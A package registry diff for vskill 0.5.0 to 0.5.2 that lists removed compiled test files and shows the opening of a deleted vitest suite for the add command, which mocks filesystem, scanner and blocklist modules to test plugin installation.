vskill 0.5.0 → 0.5.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/eval-ui/assets/{index-CcnlpaWS.js → index-CxHCKEhf.js} +2 -2
- package/dist/eval-ui/index.html +1 -1
- package/package.json +1 -1
- package/dist/agents/agents-registry.test.d.ts +0 -1
- package/dist/agents/agents-registry.test.js +0 -248
- package/dist/agents/agents-registry.test.js.map +0 -1
- package/dist/api/client.test.d.ts +0 -1
- package/dist/api/client.test.js +0 -428
- package/dist/api/client.test.js.map +0 -1
- package/dist/audit/audit-integration.test.d.ts +0 -1
- package/dist/audit/audit-integration.test.js +0 -92
- package/dist/audit/audit-integration.test.js.map +0 -1
- package/dist/audit/audit-llm.test.d.ts +0 -1
- package/dist/audit/audit-llm.test.js +0 -110
- package/dist/audit/audit-llm.test.js.map +0 -1
- package/dist/audit/audit-patterns.test.d.ts +0 -1
- package/dist/audit/audit-patterns.test.js +0 -91
- package/dist/audit/audit-patterns.test.js.map +0 -1
- package/dist/audit/audit-scanner.test.d.ts +0 -1
- package/dist/audit/audit-scanner.test.js +0 -112
- package/dist/audit/audit-scanner.test.js.map +0 -1
- package/dist/audit/audit-types.test.d.ts +0 -1
- package/dist/audit/audit-types.test.js +0 -140
- package/dist/audit/audit-types.test.js.map +0 -1
- package/dist/audit/config.test.d.ts +0 -1
- package/dist/audit/config.test.js +0 -44
- package/dist/audit/config.test.js.map +0 -1
- package/dist/audit/file-discovery.test.d.ts +0 -1
- package/dist/audit/file-discovery.test.js +0 -120
- package/dist/audit/file-discovery.test.js.map +0 -1
- package/dist/audit/fix-suggestions.test.d.ts +0 -1
- package/dist/audit/fix-suggestions.test.js +0 -35
- package/dist/audit/fix-suggestions.test.js.map +0 -1
- package/dist/audit/formatters/json-formatter.test.d.ts +0 -1
- package/dist/audit/formatters/json-formatter.test.js +0 -49
- package/dist/audit/formatters/json-formatter.test.js.map +0 -1
- package/dist/audit/formatters/report-formatter.test.d.ts +0 -1
- package/dist/audit/formatters/report-formatter.test.js +0 -51
- package/dist/audit/formatters/report-formatter.test.js.map +0 -1
- package/dist/audit/formatters/sarif-formatter.test.d.ts +0 -1
- package/dist/audit/formatters/sarif-formatter.test.js +0 -71
- package/dist/audit/formatters/sarif-formatter.test.js.map +0 -1
- package/dist/audit/formatters/terminal-formatter.test.d.ts +0 -1
- package/dist/audit/formatters/terminal-formatter.test.js +0 -51
- package/dist/audit/formatters/terminal-formatter.test.js.map +0 -1
- package/dist/blocklist/blocklist-e2e.test.d.ts +0 -1
- package/dist/blocklist/blocklist-e2e.test.js +0 -346
- package/dist/blocklist/blocklist-e2e.test.js.map +0 -1
- package/dist/blocklist/blocklist.test.d.ts +0 -1
- package/dist/blocklist/blocklist.test.js +0 -259
- package/dist/blocklist/blocklist.test.js.map +0 -1
- package/dist/commands/__tests__/eval-router.test.d.ts +0 -1
- package/dist/commands/__tests__/eval-router.test.js +0 -60
- package/dist/commands/__tests__/eval-router.test.js.map +0 -1
- package/dist/commands/__tests__/eval-serve.test.d.ts +0 -1
- package/dist/commands/__tests__/eval-serve.test.js +0 -23
- package/dist/commands/__tests__/eval-serve.test.js.map +0 -1
- package/dist/commands/add-blocklist-e2e.test.d.ts +0 -1
- package/dist/commands/add-blocklist-e2e.test.js +0 -397
- package/dist/commands/add-blocklist-e2e.test.js.map +0 -1
- package/dist/commands/add-wizard.test.d.ts +0 -1
- package/dist/commands/add-wizard.test.js +0 -392
- package/dist/commands/add-wizard.test.js.map +0 -1
- package/dist/commands/add.test.d.ts +0 -1
- package/dist/commands/add.test.js +0 -2365
- package/dist/commands/add.test.js.map +0 -1
- package/dist/commands/audit.test.d.ts +0 -1
- package/dist/commands/audit.test.js +0 -79
- package/dist/commands/audit.test.js.map +0 -1
- package/dist/commands/blocklist.test.d.ts +0 -1
- package/dist/commands/blocklist.test.js +0 -158
- package/dist/commands/blocklist.test.js.map +0 -1
- package/dist/commands/eval/__tests__/coverage.test.d.ts +0 -1
- package/dist/commands/eval/__tests__/coverage.test.js +0 -122
- package/dist/commands/eval/__tests__/coverage.test.js.map +0 -1
- package/dist/commands/eval/__tests__/generate-all.test.d.ts +0 -1
- package/dist/commands/eval/__tests__/generate-all.test.js +0 -133
- package/dist/commands/eval/__tests__/generate-all.test.js.map +0 -1
- package/dist/commands/eval/__tests__/init.test.d.ts +0 -1
- package/dist/commands/eval/__tests__/init.test.js +0 -116
- package/dist/commands/eval/__tests__/init.test.js.map +0 -1
- package/dist/commands/eval/__tests__/run.test.d.ts +0 -1
- package/dist/commands/eval/__tests__/run.test.js +0 -186
- package/dist/commands/eval/__tests__/run.test.js.map +0 -1
- package/dist/commands/find.test.d.ts +0 -1
- package/dist/commands/find.test.js +0 -481
- package/dist/commands/find.test.js.map +0 -1
- package/dist/commands/marketplace.test.d.ts +0 -1
- package/dist/commands/marketplace.test.js +0 -129
- package/dist/commands/marketplace.test.js.map +0 -1
- package/dist/commands/remove.test.d.ts +0 -1
- package/dist/commands/remove.test.js +0 -164
- package/dist/commands/remove.test.js.map +0 -1
- package/dist/commands/should-skip.test.d.ts +0 -1
- package/dist/commands/should-skip.test.js +0 -56
- package/dist/commands/should-skip.test.js.map +0 -1
- package/dist/commands/submit.test.d.ts +0 -1
- package/dist/commands/submit.test.js +0 -83
- package/dist/commands/submit.test.js.map +0 -1
- package/dist/commands/update.test.d.ts +0 -1
- package/dist/commands/update.test.js +0 -250
- package/dist/commands/update.test.js.map +0 -1
- package/dist/discovery/github-tree.test.d.ts +0 -1
- package/dist/discovery/github-tree.test.js +0 -372
- package/dist/discovery/github-tree.test.js.map +0 -1
- package/dist/eval/__tests__/activation-tester.test.d.ts +0 -1
- package/dist/eval/__tests__/activation-tester.test.js +0 -203
- package/dist/eval/__tests__/activation-tester.test.js.map +0 -1
- package/dist/eval/__tests__/benchmark-history.test.d.ts +0 -1
- package/dist/eval/__tests__/benchmark-history.test.js +0 -422
- package/dist/eval/__tests__/benchmark-history.test.js.map +0 -1
- package/dist/eval/__tests__/benchmark.test.d.ts +0 -1
- package/dist/eval/__tests__/benchmark.test.js +0 -94
- package/dist/eval/__tests__/benchmark.test.js.map +0 -1
- package/dist/eval/__tests__/comparator.test.d.ts +0 -1
- package/dist/eval/__tests__/comparator.test.js +0 -282
- package/dist/eval/__tests__/comparator.test.js.map +0 -1
- package/dist/eval/__tests__/judge.test.d.ts +0 -1
- package/dist/eval/__tests__/judge.test.js +0 -122
- package/dist/eval/__tests__/judge.test.js.map +0 -1
- package/dist/eval/__tests__/llm.test.d.ts +0 -1
- package/dist/eval/__tests__/llm.test.js +0 -543
- package/dist/eval/__tests__/llm.test.js.map +0 -1
- package/dist/eval/__tests__/mcp-detector.test.d.ts +0 -1
- package/dist/eval/__tests__/mcp-detector.test.js +0 -180
- package/dist/eval/__tests__/mcp-detector.test.js.map +0 -1
- package/dist/eval/__tests__/prompt-builder.test.d.ts +0 -1
- package/dist/eval/__tests__/prompt-builder.test.js +0 -142
- package/dist/eval/__tests__/prompt-builder.test.js.map +0 -1
- package/dist/eval/__tests__/schema.test.d.ts +0 -1
- package/dist/eval/__tests__/schema.test.js +0 -247
- package/dist/eval/__tests__/schema.test.js.map +0 -1
- package/dist/eval/__tests__/skill-scanner.test.d.ts +0 -1
- package/dist/eval/__tests__/skill-scanner.test.js +0 -228
- package/dist/eval/__tests__/skill-scanner.test.js.map +0 -1
- package/dist/eval/__tests__/verdict.test.d.ts +0 -1
- package/dist/eval/__tests__/verdict.test.js +0 -47
- package/dist/eval/__tests__/verdict.test.js.map +0 -1
- package/dist/eval-server/__tests__/benchmark-runner.test.d.ts +0 -1
- package/dist/eval-server/__tests__/benchmark-runner.test.js +0 -301
- package/dist/eval-server/__tests__/benchmark-runner.test.js.map +0 -1
- package/dist/eval-server/__tests__/comparison-sse-events.test.d.ts +0 -1
- package/dist/eval-server/__tests__/comparison-sse-events.test.js +0 -278
- package/dist/eval-server/__tests__/comparison-sse-events.test.js.map +0 -1
- package/dist/eval-server/__tests__/sse-helpers.test.d.ts +0 -1
- package/dist/eval-server/__tests__/sse-helpers.test.js +0 -128
- package/dist/eval-server/__tests__/sse-helpers.test.js.map +0 -1
- package/dist/installer/canonical.test.d.ts +0 -1
- package/dist/installer/canonical.test.js +0 -264
- package/dist/installer/canonical.test.js.map +0 -1
- package/dist/lockfile/lockfile.test.d.ts +0 -1
- package/dist/lockfile/lockfile.test.js +0 -204
- package/dist/lockfile/lockfile.test.js.map +0 -1
- package/dist/lockfile/project-root.test.d.ts +0 -1
- package/dist/lockfile/project-root.test.js +0 -49
- package/dist/lockfile/project-root.test.js.map +0 -1
- package/dist/marketplace/marketplace.test.d.ts +0 -1
- package/dist/marketplace/marketplace.test.js +0 -312
- package/dist/marketplace/marketplace.test.js.map +0 -1
- package/dist/resolvers/source-resolver.test.d.ts +0 -1
- package/dist/resolvers/source-resolver.test.js +0 -104
- package/dist/resolvers/source-resolver.test.js.map +0 -1
- package/dist/resolvers/url-resolver.test.d.ts +0 -1
- package/dist/resolvers/url-resolver.test.js +0 -49
- package/dist/resolvers/url-resolver.test.js.map +0 -1
- package/dist/scanner/dci-integration.test.d.ts +0 -1
- package/dist/scanner/dci-integration.test.js +0 -83
- package/dist/scanner/dci-integration.test.js.map +0 -1
- package/dist/scanner/patterns.test.d.ts +0 -1
- package/dist/scanner/patterns.test.js +0 -832
- package/dist/scanner/patterns.test.js.map +0 -1
- package/dist/scanner/tier1.test.d.ts +0 -1
- package/dist/scanner/tier1.test.js +0 -305
- package/dist/scanner/tier1.test.js.map +0 -1
- package/dist/security/platform-security.test.d.ts +0 -1
- package/dist/security/platform-security.test.js +0 -92
- package/dist/security/platform-security.test.js.map +0 -1
- package/dist/settings/settings.test.d.ts +0 -1
- package/dist/settings/settings.test.js +0 -103
- package/dist/settings/settings.test.js.map +0 -1
- package/dist/updater/source-fetcher.test.d.ts +0 -1
- package/dist/updater/source-fetcher.test.js +0 -192
- package/dist/updater/source-fetcher.test.js.map +0 -1
- package/dist/utils/__tests__/paths.test.d.ts +0 -1
- package/dist/utils/__tests__/paths.test.js +0 -22
- package/dist/utils/__tests__/paths.test.js.map +0 -1
- package/dist/utils/__tests__/resolve-binary.integration.test.d.ts +0 -1
- package/dist/utils/__tests__/resolve-binary.integration.test.js +0 -138
- package/dist/utils/__tests__/resolve-binary.integration.test.js.map +0 -1
- package/dist/utils/__tests__/resolve-binary.test.d.ts +0 -1
- package/dist/utils/__tests__/resolve-binary.test.js +0 -175
- package/dist/utils/__tests__/resolve-binary.test.js.map +0 -1
- package/dist/utils/__tests__/validation.test.d.ts +0 -1
- package/dist/utils/__tests__/validation.test.js +0 -107
- package/dist/utils/__tests__/validation.test.js.map +0 -1
- package/dist/utils/agent-filter.test.d.ts +0 -1
- package/dist/utils/agent-filter.test.js +0 -75
- package/dist/utils/agent-filter.test.js.map +0 -1
- package/dist/utils/output.test.d.ts +0 -1
- package/dist/utils/output.test.js +0 -28
- package/dist/utils/output.test.js.map +0 -1
- package/dist/utils/project-root.test.d.ts +0 -1
- package/dist/utils/project-root.test.js +0 -74
- package/dist/utils/project-root.test.js.map +0 -1
- package/dist/utils/prompts.test.d.ts +0 -1
- package/dist/utils/prompts.test.js +0 -285
- package/dist/utils/prompts.test.js.map +0 -1
|
@@ -1,2365 +0,0 @@
|
|
|
1
|
-
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
|
|
2
|
-
// ---------------------------------------------------------------------------
|
|
3
|
-
// Mock node:fs
|
|
4
|
-
// ---------------------------------------------------------------------------
|
|
5
|
-
const mockMkdirSync = vi.fn();
|
|
6
|
-
const mockMkdtempSync = vi.fn().mockReturnValue("/tmp/vskill-marketplace-abc123");
|
|
7
|
-
const mockWriteFileSync = vi.fn();
|
|
8
|
-
const mockReadFileSync = vi.fn();
|
|
9
|
-
const mockExistsSync = vi.fn();
|
|
10
|
-
const mockCpSync = vi.fn();
|
|
11
|
-
const mockChmodSync = vi.fn();
|
|
12
|
-
const mockReaddirSync = vi.fn();
|
|
13
|
-
const mockStatSync = vi.fn();
|
|
14
|
-
const mockCopyFileSync = vi.fn();
|
|
15
|
-
const mockRmSync = vi.fn();
|
|
16
|
-
vi.mock("node:fs", () => ({
|
|
17
|
-
mkdirSync: (...args) => mockMkdirSync(...args),
|
|
18
|
-
mkdtempSync: (...args) => mockMkdtempSync(...args),
|
|
19
|
-
writeFileSync: (...args) => mockWriteFileSync(...args),
|
|
20
|
-
readFileSync: (...args) => mockReadFileSync(...args),
|
|
21
|
-
existsSync: (...args) => mockExistsSync(...args),
|
|
22
|
-
cpSync: (...args) => mockCpSync(...args),
|
|
23
|
-
chmodSync: (...args) => mockChmodSync(...args),
|
|
24
|
-
readdirSync: (...args) => mockReaddirSync(...args),
|
|
25
|
-
statSync: (...args) => mockStatSync(...args),
|
|
26
|
-
copyFileSync: (...args) => mockCopyFileSync(...args),
|
|
27
|
-
rmSync: (...args) => mockRmSync(...args),
|
|
28
|
-
}));
|
|
29
|
-
// ---------------------------------------------------------------------------
|
|
30
|
-
// Mock node:os (control homedir for global lockfile tests)
|
|
31
|
-
// ---------------------------------------------------------------------------
|
|
32
|
-
const mockHomedir = vi.fn().mockReturnValue("/home/testuser");
|
|
33
|
-
const mockTmpdir = vi.fn().mockReturnValue("/tmp");
|
|
34
|
-
vi.mock("node:os", () => ({
|
|
35
|
-
default: { homedir: () => mockHomedir(), tmpdir: () => mockTmpdir() },
|
|
36
|
-
homedir: () => mockHomedir(),
|
|
37
|
-
tmpdir: () => mockTmpdir(),
|
|
38
|
-
}));
|
|
39
|
-
// ---------------------------------------------------------------------------
|
|
40
|
-
// Mock node:path (pass-through with join tracking)
|
|
41
|
-
// ---------------------------------------------------------------------------
|
|
42
|
-
vi.mock("node:path", async () => {
|
|
43
|
-
const actual = await vi.importActual("node:path");
|
|
44
|
-
return {
|
|
45
|
-
...actual,
|
|
46
|
-
join: (...args) => actual.join(...args),
|
|
47
|
-
};
|
|
48
|
-
});
|
|
49
|
-
// ---------------------------------------------------------------------------
|
|
50
|
-
// Mock node:child_process
|
|
51
|
-
// ---------------------------------------------------------------------------
|
|
52
|
-
const mockExecSync = vi.fn();
|
|
53
|
-
vi.mock("node:child_process", () => ({
|
|
54
|
-
execSync: (...args) => mockExecSync(...args),
|
|
55
|
-
}));
|
|
56
|
-
// ---------------------------------------------------------------------------
|
|
57
|
-
// Mock node:crypto
|
|
58
|
-
// ---------------------------------------------------------------------------
|
|
59
|
-
const mockDigest = vi.fn().mockReturnValue("abcdef123456xxxx");
|
|
60
|
-
const mockUpdate = vi.fn().mockReturnValue({ digest: mockDigest });
|
|
61
|
-
vi.mock("node:crypto", () => ({
|
|
62
|
-
createHash: () => ({ update: mockUpdate }),
|
|
63
|
-
}));
|
|
64
|
-
// ---------------------------------------------------------------------------
|
|
65
|
-
// Mock agents registry
|
|
66
|
-
// ---------------------------------------------------------------------------
|
|
67
|
-
const mockDetectInstalledAgents = vi.fn();
|
|
68
|
-
vi.mock("../agents/agents-registry.js", () => ({
|
|
69
|
-
detectInstalledAgents: (...args) => mockDetectInstalledAgents(...args),
|
|
70
|
-
AGENTS_REGISTRY: [
|
|
71
|
-
{ id: "claude-code", displayName: "Claude Code", isUniversal: false, parentCompany: "Anthropic", localSkillsDir: ".claude/commands", globalSkillsDir: "~/.claude/commands" },
|
|
72
|
-
{ id: "cursor", displayName: "Cursor", isUniversal: false, parentCompany: "Anysphere", localSkillsDir: ".cursor/commands", globalSkillsDir: "~/.cursor/commands" },
|
|
73
|
-
],
|
|
74
|
-
}));
|
|
75
|
-
// ---------------------------------------------------------------------------
|
|
76
|
-
// Mock lockfile
|
|
77
|
-
// ---------------------------------------------------------------------------
|
|
78
|
-
const mockEnsureLockfile = vi.fn();
|
|
79
|
-
const mockWriteLockfile = vi.fn();
|
|
80
|
-
const mockReadLockfile = vi.fn().mockReturnValue(null);
|
|
81
|
-
const mockRemoveSkillFromLock = vi.fn();
|
|
82
|
-
vi.mock("../lockfile/index.js", () => ({
|
|
83
|
-
ensureLockfile: (...args) => mockEnsureLockfile(...args),
|
|
84
|
-
writeLockfile: (...args) => mockWriteLockfile(...args),
|
|
85
|
-
readLockfile: (...args) => mockReadLockfile(...args),
|
|
86
|
-
removeSkillFromLock: (...args) => mockRemoveSkillFromLock(...args),
|
|
87
|
-
}));
|
|
88
|
-
// ---------------------------------------------------------------------------
|
|
89
|
-
// Mock scanner
|
|
90
|
-
// ---------------------------------------------------------------------------
|
|
91
|
-
const mockRunTier1Scan = vi.fn();
|
|
92
|
-
vi.mock("../scanner/index.js", () => ({
|
|
93
|
-
runTier1Scan: (...args) => mockRunTier1Scan(...args),
|
|
94
|
-
}));
|
|
95
|
-
// ---------------------------------------------------------------------------
|
|
96
|
-
// Mock blocklist
|
|
97
|
-
// ---------------------------------------------------------------------------
|
|
98
|
-
const mockCheckBlocklist = vi.fn();
|
|
99
|
-
const mockCheckInstallSafety = vi.fn();
|
|
100
|
-
vi.mock("../blocklist/blocklist.js", () => ({
|
|
101
|
-
checkBlocklist: (...args) => mockCheckBlocklist(...args),
|
|
102
|
-
checkInstallSafety: (...args) => mockCheckInstallSafety(...args),
|
|
103
|
-
}));
|
|
104
|
-
// ---------------------------------------------------------------------------
|
|
105
|
-
// Mock security (platform security check)
|
|
106
|
-
// ---------------------------------------------------------------------------
|
|
107
|
-
const mockCheckPlatformSecurity = vi.fn();
|
|
108
|
-
vi.mock("../security/index.js", () => ({
|
|
109
|
-
checkPlatformSecurity: (...args) => mockCheckPlatformSecurity(...args),
|
|
110
|
-
}));
|
|
111
|
-
// ---------------------------------------------------------------------------
|
|
112
|
-
// Mock API client (registry lookup)
|
|
113
|
-
// ---------------------------------------------------------------------------
|
|
114
|
-
const mockGetSkill = vi.fn();
|
|
115
|
-
vi.mock("../api/client.js", () => ({
|
|
116
|
-
getSkill: (...args) => mockGetSkill(...args),
|
|
117
|
-
reportInstall: vi.fn().mockResolvedValue(undefined),
|
|
118
|
-
reportInstallBatch: vi.fn().mockResolvedValue(undefined),
|
|
119
|
-
}));
|
|
120
|
-
// ---------------------------------------------------------------------------
|
|
121
|
-
// Mock discovery (GitHub Trees skill discovery)
|
|
122
|
-
// ---------------------------------------------------------------------------
|
|
123
|
-
const mockDiscoverSkills = vi.fn();
|
|
124
|
-
const mockGetDefaultBranch = vi.fn().mockResolvedValue("main");
|
|
125
|
-
vi.mock("../discovery/github-tree.js", () => ({
|
|
126
|
-
discoverSkills: (...args) => mockDiscoverSkills(...args),
|
|
127
|
-
getDefaultBranch: (...args) => mockGetDefaultBranch(...args),
|
|
128
|
-
warnRateLimitOnce: vi.fn(),
|
|
129
|
-
}));
|
|
130
|
-
// ---------------------------------------------------------------------------
|
|
131
|
-
// Mock project root resolution
|
|
132
|
-
// ---------------------------------------------------------------------------
|
|
133
|
-
const mockFindProjectRoot = vi.fn();
|
|
134
|
-
vi.mock("../utils/project-root.js", () => ({
|
|
135
|
-
findProjectRoot: (...args) => mockFindProjectRoot(...args),
|
|
136
|
-
}));
|
|
137
|
-
// ---------------------------------------------------------------------------
|
|
138
|
-
// Mock agent filter (pass-through by default)
|
|
139
|
-
// ---------------------------------------------------------------------------
|
|
140
|
-
const mockFilterAgents = vi.fn();
|
|
141
|
-
vi.mock("../utils/agent-filter.js", () => ({
|
|
142
|
-
filterAgents: (...args) => mockFilterAgents(...args),
|
|
143
|
-
}));
|
|
144
|
-
// ---------------------------------------------------------------------------
|
|
145
|
-
// Mock utils/prompts (interactive prompts)
|
|
146
|
-
// ---------------------------------------------------------------------------
|
|
147
|
-
const mockIsTTY = vi.fn().mockReturnValue(false);
|
|
148
|
-
const mockPromptCheckboxList = vi.fn();
|
|
149
|
-
const mockPromptConfirm = vi.fn();
|
|
150
|
-
const mockPromptChoice = vi.fn();
|
|
151
|
-
vi.mock("../utils/prompts.js", () => ({
|
|
152
|
-
isTTY: (...args) => mockIsTTY(...args),
|
|
153
|
-
createPrompter: () => ({
|
|
154
|
-
promptCheckboxList: (...args) => mockPromptCheckboxList(...args),
|
|
155
|
-
promptConfirm: (...args) => mockPromptConfirm(...args),
|
|
156
|
-
promptChoice: (...args) => mockPromptChoice(...args),
|
|
157
|
-
}),
|
|
158
|
-
}));
|
|
159
|
-
// ---------------------------------------------------------------------------
|
|
160
|
-
// Mock utils/output (suppress console output in tests)
|
|
161
|
-
// ---------------------------------------------------------------------------
|
|
162
|
-
vi.mock("../utils/output.js", () => ({
|
|
163
|
-
bold: (s) => s,
|
|
164
|
-
green: (s) => s,
|
|
165
|
-
red: (s) => s,
|
|
166
|
-
yellow: (s) => s,
|
|
167
|
-
dim: (s) => s,
|
|
168
|
-
cyan: (s) => s,
|
|
169
|
-
spinner: () => ({ stop: vi.fn() }),
|
|
170
|
-
}));
|
|
171
|
-
// ---------------------------------------------------------------------------
|
|
172
|
-
// Mock canonical installer
|
|
173
|
-
// ---------------------------------------------------------------------------
|
|
174
|
-
const mockInstallSymlink = vi.fn().mockReturnValue([]);
|
|
175
|
-
const mockInstallCopy = vi.fn().mockReturnValue([]);
|
|
176
|
-
vi.mock("../installer/canonical.js", () => ({
|
|
177
|
-
installSymlink: (...args) => mockInstallSymlink(...args),
|
|
178
|
-
installCopy: (...args) => mockInstallCopy(...args),
|
|
179
|
-
}));
|
|
180
|
-
// ---------------------------------------------------------------------------
|
|
181
|
-
// Mock getMarketplaceName + discoverUnregisteredPlugins (preserve real marketplace functions)
|
|
182
|
-
// ---------------------------------------------------------------------------
|
|
183
|
-
const mockGetMarketplaceName = vi.fn().mockReturnValue(null);
|
|
184
|
-
const mockDiscoverUnregisteredPlugins = vi.fn().mockResolvedValue({ plugins: [], failed: false });
|
|
185
|
-
vi.mock("../marketplace/index.js", async () => {
|
|
186
|
-
const actual = await vi.importActual("../marketplace/index.js");
|
|
187
|
-
return {
|
|
188
|
-
...actual,
|
|
189
|
-
getMarketplaceName: (...args) => mockGetMarketplaceName(...args),
|
|
190
|
-
discoverUnregisteredPlugins: (...args) => mockDiscoverUnregisteredPlugins(...args),
|
|
191
|
-
};
|
|
192
|
-
});
|
|
193
|
-
// ---------------------------------------------------------------------------
|
|
194
|
-
// Import module under test AFTER mocks
|
|
195
|
-
// ---------------------------------------------------------------------------
|
|
196
|
-
const { addCommand, detectMarketplaceRepo } = await import("./add.js");
|
|
197
|
-
// ---------------------------------------------------------------------------
|
|
198
|
-
// Helpers
|
|
199
|
-
// ---------------------------------------------------------------------------
|
|
200
|
-
function makeScanResult(overrides = {}) {
|
|
201
|
-
return {
|
|
202
|
-
verdict: "PASS",
|
|
203
|
-
findings: [],
|
|
204
|
-
score: 100,
|
|
205
|
-
patternsChecked: 37,
|
|
206
|
-
criticalCount: 0,
|
|
207
|
-
highCount: 0,
|
|
208
|
-
mediumCount: 0,
|
|
209
|
-
lowCount: 0,
|
|
210
|
-
infoCount: 0,
|
|
211
|
-
durationMs: 1,
|
|
212
|
-
...overrides,
|
|
213
|
-
};
|
|
214
|
-
}
|
|
215
|
-
function makeAgent(overrides = {}) {
|
|
216
|
-
return {
|
|
217
|
-
id: "claude-code",
|
|
218
|
-
displayName: "Claude Code",
|
|
219
|
-
localSkillsDir: ".claude/commands",
|
|
220
|
-
globalSkillsDir: "~/.claude/commands",
|
|
221
|
-
...overrides,
|
|
222
|
-
};
|
|
223
|
-
}
|
|
224
|
-
// ---------------------------------------------------------------------------
|
|
225
|
-
// Tests
|
|
226
|
-
// ---------------------------------------------------------------------------
|
|
227
|
-
beforeEach(() => {
|
|
228
|
-
vi.clearAllMocks();
|
|
229
|
-
// Suppress console output during tests
|
|
230
|
-
vi.spyOn(console, "log").mockImplementation(() => { });
|
|
231
|
-
vi.spyOn(console, "error").mockImplementation(() => { });
|
|
232
|
-
// Default: platform security returns null (non-fatal, no external results)
|
|
233
|
-
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
234
|
-
// Default: findProjectRoot returns cwd (same as old behavior)
|
|
235
|
-
mockFindProjectRoot.mockReturnValue(process.cwd());
|
|
236
|
-
// Default: filterAgents passes through agents unchanged
|
|
237
|
-
mockFilterAgents.mockImplementation((agents) => agents);
|
|
238
|
-
});
|
|
239
|
-
describe("addCommand with --plugin option (plugin directory support)", () => {
|
|
240
|
-
beforeEach(() => {
|
|
241
|
-
// Plugin path hits blocklist check first — return null (not blocked)
|
|
242
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
243
|
-
});
|
|
244
|
-
// TC-001: --plugin <name> flag selects sub-plugin from multi-plugin repo
|
|
245
|
-
describe("TC-001: plugin flag selects sub-plugin directory", () => {
|
|
246
|
-
it("selects the frontend plugin directory from a local path with plugins/ structure", async () => {
|
|
247
|
-
const localPath = "/tmp/test-repo";
|
|
248
|
-
// The plugin directory path: /tmp/test-repo/plugins/frontend/
|
|
249
|
-
mockExistsSync.mockImplementation((p) => {
|
|
250
|
-
if (p.includes("plugins/frontend"))
|
|
251
|
-
return true;
|
|
252
|
-
if (p.includes(".claude-plugin/marketplace.json"))
|
|
253
|
-
return true;
|
|
254
|
-
return false;
|
|
255
|
-
});
|
|
256
|
-
mockReadFileSync.mockImplementation((p) => {
|
|
257
|
-
if (p.includes("marketplace.json")) {
|
|
258
|
-
return JSON.stringify({
|
|
259
|
-
name: "specweave",
|
|
260
|
-
version: "1.0.225",
|
|
261
|
-
plugins: [
|
|
262
|
-
{ name: "sw", source: "./plugins/specweave", version: "1.0.225" },
|
|
263
|
-
{ name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
|
|
264
|
-
],
|
|
265
|
-
});
|
|
266
|
-
}
|
|
267
|
-
return "";
|
|
268
|
-
});
|
|
269
|
-
// readdirSync: recursive for collectPluginContent, non-recursive for copyPluginFiltered
|
|
270
|
-
mockReaddirSync.mockImplementation((_dir, opts) => {
|
|
271
|
-
if (typeof opts === "object" && opts !== null && opts.recursive) {
|
|
272
|
-
return ["skills/SKILL.md", "hooks/setup.sh"];
|
|
273
|
-
}
|
|
274
|
-
// copyPluginFiltered calls readdirSync without recursive
|
|
275
|
-
return ["SKILL.md"];
|
|
276
|
-
});
|
|
277
|
-
// statSync for copyPluginFiltered: treat everything as a file
|
|
278
|
-
mockStatSync.mockReturnValue({ isDirectory: () => false, isFile: () => true });
|
|
279
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
280
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
281
|
-
mockEnsureLockfile.mockReturnValue({
|
|
282
|
-
version: 1,
|
|
283
|
-
agents: [],
|
|
284
|
-
skills: {},
|
|
285
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
286
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
287
|
-
});
|
|
288
|
-
// Call addCommand with plugin option and pluginDir (local source)
|
|
289
|
-
await addCommand(localPath, { plugin: "frontend", pluginDir: localPath });
|
|
290
|
-
// copyFileSync should have been called (copyPluginFiltered uses it)
|
|
291
|
-
expect(mockCopyFileSync).toHaveBeenCalled();
|
|
292
|
-
const cpCall = mockCopyFileSync.mock.calls[0];
|
|
293
|
-
// Source should include plugins/frontend
|
|
294
|
-
expect(cpCall[0]).toContain("plugins/frontend");
|
|
295
|
-
});
|
|
296
|
-
});
|
|
297
|
-
// TC-002: Full directory structure preserved on installation
|
|
298
|
-
describe("TC-002: full directory structure is preserved", () => {
|
|
299
|
-
it("recursively copies all subdirectories (skills, hooks, commands, agents, .claude-plugin) to cache", async () => {
|
|
300
|
-
const localPath = "/tmp/test-plugin";
|
|
301
|
-
mockExistsSync.mockReturnValue(true);
|
|
302
|
-
mockReadFileSync.mockImplementation((p) => {
|
|
303
|
-
if (p.includes("marketplace.json")) {
|
|
304
|
-
return JSON.stringify({
|
|
305
|
-
name: "specweave",
|
|
306
|
-
version: "1.0.0",
|
|
307
|
-
plugins: [
|
|
308
|
-
{ name: "frontend", source: "./plugins/frontend", version: "1.0.0" },
|
|
309
|
-
],
|
|
310
|
-
});
|
|
311
|
-
}
|
|
312
|
-
return "# Plugin content";
|
|
313
|
-
});
|
|
314
|
-
// copyPluginFiltered walks the tree: top-level has dirs, each dir has a file
|
|
315
|
-
let depth = 0;
|
|
316
|
-
mockReaddirSync.mockImplementation((_dir, opts) => {
|
|
317
|
-
// collectPluginContent uses { recursive: true }
|
|
318
|
-
if (typeof opts === "object" && opts !== null && opts.recursive) {
|
|
319
|
-
return ["skills/SKILL.md", "hooks/setup.sh"];
|
|
320
|
-
}
|
|
321
|
-
// copyPluginFiltered: first call returns subdirs, deeper calls return files
|
|
322
|
-
if (depth === 0) {
|
|
323
|
-
depth++;
|
|
324
|
-
return ["skills", "hooks"];
|
|
325
|
-
}
|
|
326
|
-
return ["SKILL.md"];
|
|
327
|
-
});
|
|
328
|
-
mockStatSync.mockImplementation((p) => ({
|
|
329
|
-
isDirectory: () => p.endsWith("skills") || p.endsWith("hooks"),
|
|
330
|
-
isFile: () => !p.endsWith("skills") && !p.endsWith("hooks"),
|
|
331
|
-
}));
|
|
332
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
333
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
334
|
-
mockEnsureLockfile.mockReturnValue({
|
|
335
|
-
version: 1,
|
|
336
|
-
agents: [],
|
|
337
|
-
skills: {},
|
|
338
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
339
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
340
|
-
});
|
|
341
|
-
await addCommand(localPath, { plugin: "frontend", pluginDir: localPath });
|
|
342
|
